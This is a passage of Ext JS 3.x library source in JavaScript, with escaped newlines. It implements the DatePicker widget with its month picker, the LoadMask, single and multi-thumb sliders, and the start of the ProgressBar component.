this.update(this.activeDate)\n}, onEnable:function (a) {\n    Ext.DatePicker.superclass.onEnable.call(this);\n    this.doDisabled(false);\n    this.update(a ? this.value : this.activeDate);\n    if (Ext.isIE) {\n        this.el.repaint()\n    }\n}, onDisable:function () {\n    Ext.DatePicker.superclass.onDisable.call(this);\n    this.doDisabled(true);\n    if (Ext.isIE && !Ext.isIE8) {\n        Ext.each([].concat(this.textNodes, this.el.query(\"th span\")), function (a) {\n            Ext.fly(a).repaint()\n        })\n    }\n}, doDisabled:function (a) {\n    this.keyNav.setDisabled(a);\n    this.prevRepeater.setDisabled(a);\n    this.nextRepeater.setDisabled(a);\n    if (this.showToday) {\n        this.todayKeyListener.setDisabled(a);\n        this.todayBtn.setDisabled(a)\n    }\n}, onRender:function (e, b) {\n    var a = ['<table cellspacing=\"0\">', '<tr><td class=\"x-date-left\"><a href=\"#\" title=\"', this.prevText, '\">&#160;</a></td><td class=\"x-date-middle\" align=\"center\"></td><td class=\"x-date-right\"><a href=\"#\" title=\"', this.nextText, '\">&#160;</a></td></tr>', '<tr><td colspan=\"3\"><table class=\"x-date-inner\" cellspacing=\"0\"><thead><tr>'], c = this.dayNames, h;\n    for (h = 0; h < 7; h++) {\n        var k = this.startDay + h;\n        if (k > 6) {\n            k = k - 7\n        }\n        a.push(\"<th><span>\", c[k].substr(0, 1), \"</span></th>\")\n    }\n    a[a.length] = \"</tr></thead><tbody><tr>\";\n    for (h = 0; h < 42; h++) {\n        if (h % 7 === 0 && h !== 0) {\n            a[a.length] = \"</tr><tr>\"\n        }\n        a[a.length] = '<td><a href=\"#\" hidefocus=\"on\" class=\"x-date-date\" tabIndex=\"1\"><em><span></span></em></a></td>'\n    }\n    a.push(\"</tr></tbody></table></td></tr>\", this.showToday ? '<tr><td colspan=\"3\" class=\"x-date-bottom\" align=\"center\"></td></tr>' : \"\", '</table><div class=\"x-date-mp\"></div>');\n    var j = document.createElement(\"div\");\n    j.className = \"x-date-picker\";\n    j.innerHTML = a.join(\"\");\n    e.dom.insertBefore(j, b);\n    this.el = Ext.get(j);\n    this.eventEl = Ext.get(j.firstChild);\n    this.prevRepeater = new Ext.util.ClickRepeater(this.el.child(\"td.x-date-left a\"), {handler:this.showPrevMonth, scope:this, preventDefault:true, stopDefault:true});\n    this.nextRepeater = new Ext.util.ClickRepeater(this.el.child(\"td.x-date-right a\"), {handler:this.showNextMonth, scope:this, preventDefault:true, stopDefault:true});\n    this.monthPicker = this.el.down(\"div.x-date-mp\");\n    this.monthPicker.enableDisplayMode(\"block\");\n    this.keyNav = new Ext.KeyNav(this.eventEl, {left:function (d) {\n        if (d.ctrlKey) {\n            this.showPrevMonth()\n        } else {\n            this.update(this.activeDate.add(\"d\", -1))\n        }\n    }, right:function (d) {\n        if (d.ctrlKey) {\n            this.showNextMonth()\n        } else {\n            this.update(this.activeDate.add(\"d\", 1))\n        }\n    }, up:function (d) {\n        if (d.ctrlKey) {\n            this.showNextYear()\n        } else {\n            this.update(this.activeDate.add(\"d\", -7))\n        }\n    }, down:function (d) {\n        if (d.ctrlKey) {\n            this.showPrevYear()\n        } else {\n            this.update(this.activeDate.add(\"d\", 7))\n        }\n    }, pageUp:function (d) {\n        this.showNextMonth()\n    }, pageDown:function (d) {\n        this.showPrevMonth()\n    }, enter:function (d) {\n        d.stopPropagation();\n        return true\n    }, scope:this});\n    this.el.unselectable();\n    this.cells = this.el.select(\"table.x-date-inner tbody td\");\n    this.textNodes = this.el.query(\"table.x-date-inner tbody span\");\n    this.mbtn = new Ext.Button({text:\"&#160;\", tooltip:this.monthYearText, renderTo:this.el.child(\"td.x-date-middle\", true)});\n    this.mbtn.el.child(\"em\").addClass(\"x-btn-arrow\");\n    if (this.showToday) {\n        this.todayKeyListener = this.eventEl.addKeyListener(Ext.EventObject.SPACE, this.selectToday, this);\n        var g = (new Date()).dateFormat(this.format);\n        this.todayBtn = new Ext.Button({renderTo:this.el.child(\"td.x-date-bottom\", true), text:String.format(this.todayText, g), tooltip:String.format(this.todayTip, g), handler:this.selectToday, scope:this})\n    }\n    this.mon(this.eventEl, \"mousewheel\", this.handleMouseWheel, this);\n    this.mon(this.eventEl, \"click\", this.handleDateClick, this, {delegate:\"a.x-date-date\"});\n    this.mon(this.mbtn, \"click\", this.showMonthPicker, this);\n    this.onEnable(true)\n}, createMonthPicker:function () {\n    if (!this.monthPicker.dom.firstChild) {\n        var a = ['<table border=\"0\" cellspacing=\"0\">'];\n        for (var b = 0; b < 6; b++) {\n            a.push('<tr><td class=\"x-date-mp-month\"><a href=\"#\">', Date.getShortMonthName(b), \"</a></td>\", '<td class=\"x-date-mp-month x-date-mp-sep\"><a href=\"#\">', Date.getShortMonthName(b + 6), \"</a></td>\", b === 0 ? '<td class=\"x-date-mp-ybtn\" align=\"center\"><a class=\"x-date-mp-prev\"></a></td><td class=\"x-date-mp-ybtn\" align=\"center\"><a class=\"x-date-mp-next\"></a></td></tr>' : '<td class=\"x-date-mp-year\"><a href=\"#\"></a></td><td class=\"x-date-mp-year\"><a href=\"#\"></a></td></tr>')\n        }\n        a.push('<tr class=\"x-date-mp-btns\"><td colspan=\"4\"><button type=\"button\" class=\"x-date-mp-ok\">', this.okText, '</button><button type=\"button\" class=\"x-date-mp-cancel\">', this.cancelText, \"</button></td></tr>\", \"</table>\");\n        this.monthPicker.update(a.join(\"\"));\n        this.mon(this.monthPicker, \"click\", this.onMonthClick, this);\n        this.mon(this.monthPicker, \"dblclick\", this.onMonthDblClick, this);\n        this.mpMonths = this.monthPicker.select(\"td.x-date-mp-month\");\n        this.mpYears = this.monthPicker.select(\"td.x-date-mp-year\");\n        this.mpMonths.each(function (c, d, e) {\n            e += 1;\n            if ((e % 2) === 0) {\n                c.dom.xmonth = 5 + Math.round(e * 0.5)\n            } else {\n                c.dom.xmonth = Math.round((e - 1) * 0.5)\n            }\n        })\n    }\n}, showMonthPicker:function () {\n    if (!this.disabled) {\n        this.createMonthPicker();\n        var a = this.el.getSize();\n        this.monthPicker.setSize(a);\n        this.monthPicker.child(\"table\").setSize(a);\n        this.mpSelMonth = (this.activeDate || this.value).getMonth();\n        this.updateMPMonth(this.mpSelMonth);\n        this.mpSelYear = (this.activeDate || this.value).getFullYear();\n        this.updateMPYear(this.mpSelYear);\n        this.monthPicker.slideIn(\"t\", {duration:0.2})\n    }\n}, updateMPYear:function (e) {\n    this.mpyear = e;\n    var c = this.mpYears.elements;\n    for (var b = 1; b <= 10; b++) {\n        var d = c[b - 1], a;\n        if ((b % 2) === 0) {\n            a = e + Math.round(b * 0.5);\n            d.firstChild.innerHTML = a;\n            d.xyear = a\n        } else {\n            a = e - (5 - Math.round(b * 0.5));\n            d.firstChild.innerHTML = a;\n            d.xyear = a\n        }\n        this.mpYears.item(b - 1)[a == this.mpSelYear ? \"addClass\" : \"removeClass\"](\"x-date-mp-sel\")\n    }\n}, updateMPMonth:function (a) {\n    this.mpMonths.each(function (b, c, d) {\n        b[b.dom.xmonth == a ? \"addClass\" : \"removeClass\"](\"x-date-mp-sel\")\n    })\n}, selectMPMonth:function (a) {\n}, onMonthClick:function (g, b) {\n    g.stopEvent();\n    var c = new Ext.Element(b), a;\n    if (c.is(\"button.x-date-mp-cancel\")) {\n        this.hideMonthPicker()\n    } else {\n        if (c.is(\"button.x-date-mp-ok\")) {\n            var h = new Date(this.mpSelYear, this.mpSelMonth, (this.activeDate || this.value).getDate());\n            if (h.getMonth() != this.mpSelMonth) {\n                h = new Date(this.mpSelYear, this.mpSelMonth, 1).getLastDateOfMonth()\n            }\n            this.update(h);\n            this.hideMonthPicker()\n        } else {\n            if ((a = c.up(\"td.x-date-mp-month\", 2))) {\n                this.mpMonths.removeClass(\"x-date-mp-sel\");\n                a.addClass(\"x-date-mp-sel\");\n                this.mpSelMonth = a.dom.xmonth\n            } else {\n                if ((a = c.up(\"td.x-date-mp-year\", 2))) {\n                    this.mpYears.removeClass(\"x-date-mp-sel\");\n                    a.addClass(\"x-date-mp-sel\");\n                    this.mpSelYear = a.dom.xyear\n                } else {\n                    if (c.is(\"a.x-date-mp-prev\")) {\n                        this.updateMPYear(this.mpyear - 10)\n                    } else {\n                        if (c.is(\"a.x-date-mp-next\")) {\n                            this.updateMPYear(this.mpyear + 10)\n                        }\n                    }\n                }\n            }\n        }\n    }\n}, onMonthDblClick:function (d, b) {\n    d.stopEvent();\n    var c = new Ext.Element(b), a;\n    if ((a = c.up(\"td.x-date-mp-month\", 2))) {\n        this.update(new Date(this.mpSelYear, a.dom.xmonth, (this.activeDate || this.value).getDate()));\n        this.hideMonthPicker()\n    } else {\n        if ((a = c.up(\"td.x-date-mp-year\", 2))) {\n            this.update(new Date(a.dom.xyear, this.mpSelMonth, (this.activeDate || this.value).getDate()));\n            this.hideMonthPicker()\n        }\n    }\n}, hideMonthPicker:function (a) {\n    if (this.monthPicker) {\n        if (a === true) {\n            this.monthPicker.hide()\n        } else {\n            this.monthPicker.slideOut(\"t\", {duration:0.2})\n        }\n    }\n}, showPrevMonth:function (a) {\n    this.update(this.activeDate.add(\"mo\", -1))\n}, showNextMonth:function (a) {\n    this.update(this.activeDate.add(\"mo\", 1))\n}, showPrevYear:function () {\n    this.update(this.activeDate.add(\"y\", -1))\n}, showNextYear:function () {\n    this.update(this.activeDate.add(\"y\", 1))\n}, handleMouseWheel:function (a) {\n    a.stopEvent();\n    if (!this.disabled) {\n        var b = a.getWheelDelta();\n        if (b > 0) {\n            this.showPrevMonth()\n        } else {\n            if (b < 0) {\n                this.showNextMonth()\n            }\n        }\n    }\n}, handleDateClick:function (b, a) {\n    b.stopEvent();\n    if (!this.disabled && a.dateValue && !Ext.fly(a.parentNode).hasClass(\"x-date-disabled\")) {\n        this.cancelFocus = this.focusOnSelect === false;\n        this.setValue(new Date(a.dateValue));\n        delete this.cancelFocus;\n        this.fireEvent(\"select\", this, this.value)\n    }\n}, selectToday:function () {\n    if (this.todayBtn && !this.todayBtn.disabled) {\n        this.setValue(new Date().clearTime());\n        this.fireEvent(\"select\", this, this.value)\n    }\n}, update:function (G, A) {\n    if (this.rendered) {\n        var a = this.activeDate, p = this.isVisible();\n        this.activeDate = G;\n        if (!A && a && this.el) {\n            var o = G.getTime();\n            if (a.getMonth() == G.getMonth() && a.getFullYear() == G.getFullYear()) {\n                this.cells.removeClass(\"x-date-selected\");\n                this.cells.each(function (d) {\n                    if (d.dom.firstChild.dateValue == o) {\n                        d.addClass(\"x-date-selected\");\n                        if (p && !this.cancelFocus) {\n                            Ext.fly(d.dom.firstChild).focus(50)\n                        }\n                        return false\n                    }\n                }, this);\n                return\n            }\n        }\n        var k = G.getDaysInMonth(), q = G.getFirstDateOfMonth(), g = q.getDay() - this.startDay;\n        if (g < 0) {\n            g += 7\n        }\n        k += g;\n        var B = G.add(\"mo\", -1), h = B.getDaysInMonth() - g, e = this.cells.elements, r = this.textNodes, D = (new Date(B.getFullYear(), B.getMonth(), h, this.initHour)), C = new Date().clearTime().getTime(), v = G.clearTime(true).getTime(), u = this.minDate ? this.minDate.clearTime(true) : Number.NEGATIVE_INFINITY, y = this.maxDate ? this.maxDate.clearTime(true) : Number.POSITIVE_INFINITY, F = this.disabledDatesRE, s = this.disabledDatesText, I = this.disabledDays ? this.disabledDays.join(\"\") : false, E = this.disabledDaysText, z = this.format;\n        if (this.showToday) {\n            var m = new Date().clearTime(), c = (m < u || m > y || (F && z && F.test(m.dateFormat(z))) || (I && I.indexOf(m.getDay()) != -1));\n            if (!this.disabled) {\n                this.todayBtn.setDisabled(c);\n                this.todayKeyListener[c ? \"disable\" : \"enable\"]()\n            }\n        }\n        var l = function (J, d) {\n            d.title = \"\";\n            var i = D.clearTime(true).getTime();\n            d.firstChild.dateValue = i;\n            if (i == C) {\n                d.className += \" x-date-today\";\n                d.title = J.todayText\n            }\n            if (i == v) {\n                d.className += \" x-date-selected\";\n                if (p) {\n                    Ext.fly(d.firstChild).focus(50)\n                }\n            }\n            if (i < u) {\n                d.className = \" x-date-disabled\";\n                d.title = J.minText;\n                return\n            }\n            if (i > y) {\n                d.className = \" x-date-disabled\";\n                d.title = J.maxText;\n                return\n            }\n            if (I) {\n                if (I.indexOf(D.getDay()) != -1) {\n                    d.title = E;\n                    d.className = \" x-date-disabled\"\n                }\n            }\n            if (F && z) {\n                var w = D.dateFormat(z);\n                if (F.test(w)) {\n                    d.title = s.replace(\"%0\", w);\n                    d.className = \" x-date-disabled\"\n                }\n            }\n        };\n        var x = 0;\n        for (; x < g; x++) {\n            r[x].innerHTML = (++h);\n            D.setDate(D.getDate() + 1);\n            e[x].className = \"x-date-prevday\";\n            l(this, e[x])\n        }\n        for (; x < k; x++) {\n            var b = x - g + 1;\n            r[x].innerHTML = (b);\n            D.setDate(D.getDate() + 1);\n            e[x].className = \"x-date-active\";\n            l(this, e[x])\n        }\n        var H = 0;\n        for (; x < 42; x++) {\n            r[x].innerHTML = (++H);\n            D.setDate(D.getDate() + 1);\n            e[x].className = \"x-date-nextday\";\n            l(this, e[x])\n        }\n        this.mbtn.setText(this.monthNames[G.getMonth()] + \" \" + G.getFullYear());\n        if (!this.internalRender) {\n            var j = this.el.dom.firstChild, n = j.offsetWidth;\n            this.el.setWidth(n + this.el.getBorderWidth(\"lr\"));\n            Ext.fly(j).setWidth(n);\n            this.internalRender = true;\n            if (Ext.isOpera && !this.secondPass) {\n                j.rows[0].cells[1].style.width = (n - (j.rows[0].cells[0].offsetWidth + j.rows[0].cells[2].offsetWidth)) + \"px\";\n                this.secondPass = true;\n                this.update.defer(10, this, [G])\n            }\n        }\n    }\n}, beforeDestroy:function () {\n    if (this.rendered) {\n        Ext.destroy(this.keyNav, this.monthPicker, this.eventEl, this.mbtn, this.nextRepeater, this.prevRepeater, this.cells.el, this.todayBtn);\n        delete this.textNodes;\n        delete this.cells.elements\n    }\n}});\nExt.reg(\"datepicker\", Ext.DatePicker);\nExt.LoadMask = function (c, b) {\n    this.el = Ext.get(c);\n    Ext.apply(this, b);\n    if (this.store) {\n        this.store.on({scope:this, beforeload:this.onBeforeLoad, load:this.onLoad, exception:this.onLoad});\n        this.removeMask = Ext.value(this.removeMask, false)\n    } else {\n        var a = this.el.getUpdater();\n        a.showLoadIndicator = false;\n        a.on({scope:this, beforeupdate:this.onBeforeLoad, update:this.onLoad, failure:this.onLoad});\n        this.removeMask = Ext.value(this.removeMask, true)\n    }\n};\nExt.LoadMask.prototype = {msg:\"Loading...\", msgCls:\"x-mask-loading\", disabled:false, disable:function () {\n    this.disabled = true\n}, enable:function () {\n    this.disabled = false\n}, onLoad:function () {\n    this.el.unmask(this.removeMask)\n}, onBeforeLoad:function () {\n    if (!this.disabled) {\n        this.el.mask(this.msg, this.msgCls)\n    }\n}, show:function () {\n    this.onBeforeLoad()\n}, hide:function () {\n    this.onLoad()\n}, destroy:function () {\n    if (this.store) {\n        this.store.un(\"beforeload\", this.onBeforeLoad, this);\n        this.store.un(\"load\", this.onLoad, this);\n        this.store.un(\"exception\", this.onLoad, this)\n    } else {\n        var a = this.el.getUpdater();\n        a.un(\"beforeupdate\", this.onBeforeLoad, this);\n        a.un(\"update\", this.onLoad, this);\n        a.un(\"failure\", this.onLoad, this)\n    }\n}};\nExt.slider.Thumb = Ext.extend(Object, {dragging:false, constructor:function (a) {\n    Ext.apply(this, a || {}, {cls:\"x-slider-thumb\", constrain:false});\n    Ext.slider.Thumb.superclass.constructor.call(this, a);\n    if (this.slider.vertical) {\n        Ext.apply(this, Ext.slider.Thumb.Vertical)\n    }\n}, render:function () {\n    this.el = this.slider.innerEl.insertFirst({cls:this.cls});\n    this.initEvents()\n}, enable:function () {\n    this.disabled = false;\n    this.el.removeClass(this.slider.disabledClass)\n}, disable:function () {\n    this.disabled = true;\n    this.el.addClass(this.slider.disabledClass)\n}, initEvents:function () {\n    var a = this.el;\n    a.addClassOnOver(\"x-slider-thumb-over\");\n    this.tracker = new Ext.dd.DragTracker({onBeforeStart:this.onBeforeDragStart.createDelegate(this), onStart:this.onDragStart.createDelegate(this), onDrag:this.onDrag.createDelegate(this), onEnd:this.onDragEnd.createDelegate(this), tolerance:3, autoStart:300});\n    this.tracker.initEl(a)\n}, onBeforeDragStart:function (a) {\n    if (this.disabled) {\n        return false\n    } else {\n        this.slider.promoteThumb(this);\n        return true\n    }\n}, onDragStart:function (a) {\n    this.el.addClass(\"x-slider-thumb-drag\");\n    this.dragging = true;\n    this.dragStartValue = this.value;\n    this.slider.fireEvent(\"dragstart\", this.slider, a, this)\n}, onDrag:function (g) {\n    var c = this.slider, b = this.index, d = this.getNewValue();\n    if (this.constrain) {\n        var a = c.thumbs[b + 1], h = c.thumbs[b - 1];\n        if (h != undefined && d <= h.value) {\n            d = h.value\n        }\n        if (a != undefined && d >= a.value) {\n            d = a.value\n        }\n    }\n    c.setValue(b, d, false);\n    c.fireEvent(\"drag\", c, g, this)\n}, getNewValue:function () {\n    var a = this.slider, b = a.innerEl.translatePoints(this.tracker.getXY());\n    return Ext.util.Format.round(a.reverseValue(b.left), a.decimalPrecision)\n}, onDragEnd:function (c) {\n    var a = this.slider, b = this.value;\n    this.el.removeClass(\"x-slider-thumb-drag\");\n    this.dragging = false;\n    a.fireEvent(\"dragend\", a, c);\n    if (this.dragStartValue != b) {\n        a.fireEvent(\"changecomplete\", a, b, this)\n    }\n}, destroy:function () {\n    Ext.destroyMembers(this, \"tracker\", \"el\")\n}});\nExt.slider.MultiSlider = Ext.extend(Ext.BoxComponent, {vertical:false, minValue:0, maxValue:100, decimalPrecision:0, keyIncrement:1, increment:0, clickRange:[5, 15], clickToChange:true, animate:true, constrainThumbs:true, topThumbZIndex:10000, initComponent:function () {\n    if (!Ext.isDefined(this.value)) {\n        this.value = this.minValue\n    }\n    this.thumbs = [];\n    Ext.slider.MultiSlider.superclass.initComponent.call(this);\n    this.keyIncrement = Math.max(this.increment, this.keyIncrement);\n    this.addEvents(\"beforechange\", \"change\", \"changecomplete\", \"dragstart\", \"drag\", \"dragend\");\n    if (this.values == undefined || Ext.isEmpty(this.values)) {\n        this.values = [0]\n    }\n    var a = this.values;\n    for (var b = 0; b < a.length; b++) {\n        this.addThumb(a[b])\n    }\n    if (this.vertical) {\n        Ext.apply(this, Ext.slider.Vertical)\n    }\n}, addThumb:function (b) {\n    var a = new Ext.slider.Thumb({value:b, slider:this, index:this.thumbs.length, constrain:this.constrainThumbs});\n    this.thumbs.push(a);\n    if (this.rendered) {\n        a.render()\n    }\n}, promoteThumb:function (d) {\n    var a = this.thumbs, g, b;\n    for (var e = 0, c = a.length; e < c; e++) {\n        b = a[e];\n        if (b == d) {\n            g = this.topThumbZIndex\n        } else {\n            g = \"\"\n        }\n        b.el.setStyle(\"zIndex\", g)\n    }\n}, onRender:function () {\n    this.autoEl = {cls:\"x-slider \" + (this.vertical ? \"x-slider-vert\" : \"x-slider-horz\"), cn:{cls:\"x-slider-end\", cn:{cls:\"x-slider-inner\", cn:[\n        {tag:\"a\", cls:\"x-slider-focus\", href:\"#\", tabIndex:\"-1\", hidefocus:\"on\"}\n    ]}}};\n    Ext.slider.MultiSlider.superclass.onRender.apply(this, arguments);\n    this.endEl = this.el.first();\n    this.innerEl = this.endEl.first();\n    this.focusEl = this.innerEl.child(\".x-slider-focus\");\n    for (var b = 0; b < this.thumbs.length; b++) {\n        this.thumbs[b].render()\n    }\n    var a = this.innerEl.child(\".x-slider-thumb\");\n    this.halfThumb = (this.vertical ? a.getHeight() : a.getWidth()) / 2;\n    this.initEvents()\n}, initEvents:function () {\n    this.mon(this.el, {scope:this, mousedown:this.onMouseDown, keydown:this.onKeyDown});\n    this.focusEl.swallowEvent(\"click\", true)\n}, onMouseDown:function (d) {\n    if (this.disabled) {\n        return\n    }\n    var c = false;\n    for (var b = 0; b < this.thumbs.length; b++) {\n        c = c || d.target == this.thumbs[b].el.dom\n    }\n    if (this.clickToChange && !c) {\n        var a = this.innerEl.translatePoints(d.getXY());\n        this.onClickChange(a)\n    }\n    this.focus()\n}, onClickChange:function (c) {\n    if (c.top > this.clickRange[0] && c.top < this.clickRange[1]) {\n        var a = this.getNearest(c, \"left\"), b = a.index;\n        this.setValue(b, Ext.util.Format.round(this.reverseValue(c.left), this.decimalPrecision), undefined, true)\n    }\n}, getNearest:function (k, b) {\n    var m = b == \"top\" ? this.innerEl.getHeight() - k[b] : k[b], g = this.reverseValue(m), j = (this.maxValue - this.minValue) + 5, e = 0, c = null;\n    for (var d = 0; d < this.thumbs.length; d++) {\n        var a = this.thumbs[d], l = a.value, h = Math.abs(l - g);\n        if (Math.abs(h <= j)) {\n            c = a;\n            e = d;\n            j = h\n        }\n    }\n    return c\n}, onKeyDown:function (b) {\n    if (this.disabled || this.thumbs.length !== 1) {\n        b.preventDefault();\n        return\n    }\n    var a = b.getKey(), c;\n    switch (a) {\n        case b.UP:\n        case b.RIGHT:\n            b.stopEvent();\n            c = b.ctrlKey ? this.maxValue : this.getValue(0) + this.keyIncrement;\n            this.setValue(0, c, undefined, true);\n            break;\n        case b.DOWN:\n        case b.LEFT:\n            b.stopEvent();\n            c = b.ctrlKey ? this.minValue : this.getValue(0) - this.keyIncrement;\n            this.setValue(0, c, undefined, true);\n            break;\n        default:\n            b.preventDefault()\n    }\n}, doSnap:function (b) {\n    if (!(this.increment && b)) {\n        return b\n    }\n    var d = b, c = this.increment, a = b % c;\n    if (a != 0) {\n        d -= a;\n        if (a * 2 >= c) {\n            d += c\n        } else {\n            if (a * 2 < -c) {\n                d -= c\n            }\n        }\n    }\n    return d.constrain(this.minValue, this.maxValue)\n}, afterRender:function () {\n    Ext.slider.MultiSlider.superclass.afterRender.apply(this, arguments);\n    for (var c = 0; c < this.thumbs.length; c++) {\n        var b = this.thumbs[c];\n        if (b.value !== undefined) {\n            var a = this.normalizeValue(b.value);\n            if (a !== b.value) {\n                this.setValue(c, a, false)\n            } else {\n                this.moveThumb(c, this.translateValue(a), false)\n            }\n        }\n    }\n}, getRatio:function () {\n    var a = this.innerEl.getWidth(), b = this.maxValue - this.minValue;\n    return b == 0 ? a : (a / b)\n}, normalizeValue:function (a) {\n    a = this.doSnap(a);\n    a = Ext.util.Format.round(a, this.decimalPrecision);\n    a = a.constrain(this.minValue, this.maxValue);\n    return a\n}, setMinValue:function (e) {\n    this.minValue = e;\n    var d = 0, b = this.thumbs, a = b.length, c;\n    for (; d < a; ++d) {\n        c = b[d];\n        c.value = c.value < e ? e : c.value\n    }\n    this.syncThumb()\n}, setMaxValue:function (e) {\n    this.maxValue = e;\n    var d = 0, b = this.thumbs, a = b.length, c;\n    for (; d < a; ++d) {\n        c = b[d];\n        c.value = c.value > e ? e : c.value\n    }\n    this.syncThumb()\n}, setValue:function (d, c, b, g) {\n    var a = this.thumbs[d], e = a.el;\n    c = this.normalizeValue(c);\n    if (c !== a.value && this.fireEvent(\"beforechange\", this, c, a.value, a) !== false) {\n        a.value = c;\n        if (this.rendered) {\n            this.moveThumb(d, this.translateValue(c), b !== false);\n            this.fireEvent(\"change\", this, c, a);\n            if (g) {\n                this.fireEvent(\"changecomplete\", this, c, a)\n            }\n        }\n    }\n}, translateValue:function (a) {\n    var b = this.getRatio();\n    return(a * b) - (this.minValue * b) - this.halfThumb\n}, reverseValue:function (b) {\n    var a = this.getRatio();\n    return(b + (this.minValue * a)) / a\n}, moveThumb:function (d, c, b) {\n    var a = this.thumbs[d].el;\n    if (!b || this.animate === false) {\n        a.setLeft(c)\n    } else {\n        a.shift({left:c, stopFx:true, duration:0.35})\n    }\n}, focus:function () {\n    this.focusEl.focus(10)\n}, onResize:function (c, e) {\n    var b = this.thumbs, a = b.length, d = 0;\n    for (; d < a; ++d) {\n        b[d].el.stopFx()\n    }\n    if (Ext.isNumber(c)) {\n        this.innerEl.setWidth(c - (this.el.getPadding(\"l\") + this.endEl.getPadding(\"r\")))\n    }\n    this.syncThumb();\n    Ext.slider.MultiSlider.superclass.onResize.apply(this, arguments)\n}, onDisable:function () {\n    Ext.slider.MultiSlider.superclass.onDisable.call(this);\n    for (var b = 0; b < this.thumbs.length; b++) {\n        var a = this.thumbs[b], c = a.el;\n        a.disable();\n        if (Ext.isIE) {\n            var d = c.getXY();\n            c.hide();\n            this.innerEl.addClass(this.disabledClass).dom.disabled = true;\n            if (!this.thumbHolder) {\n                this.thumbHolder = this.endEl.createChild({cls:\"x-slider-thumb \" + this.disabledClass})\n            }\n            this.thumbHolder.show().setXY(d)\n        }\n    }\n}, onEnable:function () {\n    Ext.slider.MultiSlider.superclass.onEnable.call(this);\n    for (var b = 0; b < this.thumbs.length; b++) {\n        var a = this.thumbs[b], c = a.el;\n        a.enable();\n        if (Ext.isIE) {\n            this.innerEl.removeClass(this.disabledClass).dom.disabled = false;\n            if (this.thumbHolder) {\n                this.thumbHolder.hide()\n            }\n            c.show();\n            this.syncThumb()\n        }\n    }\n}, syncThumb:function () {\n    if (this.rendered) {\n        for (var a = 0; a < this.thumbs.length; a++) {\n            this.moveThumb(a, this.translateValue(this.thumbs[a].value))\n        }\n    }\n}, getValue:function (a) {\n    return this.thumbs[a].value\n}, getValues:function () {\n    var a = [];\n    for (var b = 0; b < this.thumbs.length; b++) {\n        a.push(this.thumbs[b].value)\n    }\n    return a\n}, beforeDestroy:function () {\n    var b = this.thumbs;\n    for (var c = 0, a = b.length; c < a; ++c) {\n        b[c].destroy();\n        b[c] = null\n    }\n    Ext.destroyMembers(this, \"endEl\", \"innerEl\", \"focusEl\", \"thumbHolder\");\n    Ext.slider.MultiSlider.superclass.beforeDestroy.call(this)\n}});\nExt.reg(\"multislider\", Ext.slider.MultiSlider);\nExt.slider.SingleSlider = Ext.extend(Ext.slider.MultiSlider, {constructor:function (a) {\n    a = a || {};\n    Ext.applyIf(a, {values:[a.value || 0]});\n    Ext.slider.SingleSlider.superclass.constructor.call(this, a)\n}, getValue:function () {\n    return Ext.slider.SingleSlider.superclass.getValue.call(this, 0)\n}, setValue:function (d, b) {\n    var c = Ext.toArray(arguments), a = c.length;\n    if (a == 1 || (a <= 3 && typeof arguments[1] != \"number\")) {\n        c.unshift(0)\n    }\n    return Ext.slider.SingleSlider.superclass.setValue.apply(this, c)\n}, syncThumb:function () {\n    return Ext.slider.SingleSlider.superclass.syncThumb.apply(this, [0].concat(arguments))\n}, getNearest:function () {\n    return this.thumbs[0]\n}});\nExt.Slider = Ext.slider.SingleSlider;\nExt.reg(\"slider\", Ext.slider.SingleSlider);\nExt.slider.Vertical = {onResize:function (a, b) {\n    this.innerEl.setHeight(b - (this.el.getPadding(\"t\") + this.endEl.getPadding(\"b\")));\n    this.syncThumb()\n}, getRatio:function () {\n    var b = this.innerEl.getHeight(), a = this.maxValue - this.minValue;\n    return b / a\n}, moveThumb:function (d, c, b) {\n    var a = this.thumbs[d], e = a.el;\n    if (!b || this.animate === false) {\n        e.setBottom(c)\n    } else {\n        e.shift({bottom:c, stopFx:true, duration:0.35})\n    }\n}, onClickChange:function (c) {\n    if (c.left > this.clickRange[0] && c.left < this.clickRange[1]) {\n        var a = this.getNearest(c, \"top\"), b = a.index, d = this.minValue + this.reverseValue(this.innerEl.getHeight() - c.top);\n        this.setValue(b, Ext.util.Format.round(d, this.decimalPrecision), undefined, true)\n    }\n}};\nExt.slider.Thumb.Vertical = {getNewValue:function () {\n    var b = this.slider, c = b.innerEl, d = c.translatePoints(this.tracker.getXY()), a = c.getHeight() - d.top;\n    return b.minValue + Ext.util.Format.round(a / b.getRatio(), b.decimalPrecision)\n}};\nExt.ProgressBar = Ext.extend(Ext.BoxComponent, {baseCls:\"x-progress\", animate:false, waitTimer:null, initComponent:function () {\n    Ext.ProgressBar.superclass.initComponent.call(this);\n    this.addEvents(\"update\")\n}, onRender:function (d, a) {\n    var c = new Ext.Template('<div class=\"{cls}-wrap\">', '<div class=\"{cls}-inner\">', '<div class=\"{cls}-bar\">', '<div class=\"{cls}-text\">', \"<div>&#160;</div>\", \"</div>\", \"</div>\", '<div class=\"{cls}-text {cls}-text-back\">', \"<div>&#160;</div>\", \"</div>\", \"</div>\", \"</div>\");\n    this.el = a ? c.insertBefore(a, {cls:this.baseCls}, true) : c.append(d, {cls:this.baseCls}, true);\n    if (this.id) {\n        this.el.dom.id = this.id\n    }\n    var b = this.el.dom.firstChild;\n    this.progressBar = Ext.get(b.firstChild);\n    if (this.textEl) {\n        this.textEl = Ext.get(this.textEl);\n        delete this.textTopEl\n    } else {\n        this.textTopEl = Ext.get(this.progressBar.dom.firstChild);\n        var e = Ext.get(b.childNodes[1]);\n        this.textTopEl.setStyle(\"z-index\", 99).addClass(\"x-hidden\");\n        this.textEl = new Ext.CompositeElement([this.textTopEl.dom.firstChild, e.dom.firstChild]);\n        this.textEl.setWidth(b.offsetWidth)\n    }\n    this.progressBar.setHeight(b.offsetHeight)\n}, afterRender:function () {\n    Ext.ProgressBar.superclass.afterRender.call(this);\n    if (this.value) {\n        this.updateProgress(this.value, this.text)\n    } else {\n        this.updateText(this.text)\n    }\n}, updateProgress:function (c, d, b) {\n    this.value = c || 0;\n    if (d) {\n        this.updateText(d)\n    }\n    if (this.rendered && !this.isDestroyed) {\n        var a = Math.floor(c * this.el.dom.firstChild.offsetWidth);\n        this.progressBar.setWidth(a, b === true || (b !== false && this.animate));\n        if (this.textTopEl) {\n            this.textTopEl.removeClass(\"x-hidden\").setWidth(a)\n        }\n    }\n    this.fireEvent(\"update\", this, c, d);\n    return this\n}, wait:function (b) {\n    if (!this.waitTimer) {\n        var a = this;\n        b = b || {};\n        this.updateText(b.text);\n        this.waitTimer = Ext.TaskMgr.start({run:function (c) {\n            var d = b.increment || 10;\n            c -= 1;\n            this.updateProgress(((((c + d) % d) + 1) * (100 / d)) * 0.01, null, b.animate)\n        }, interval:b.interval || 1000, 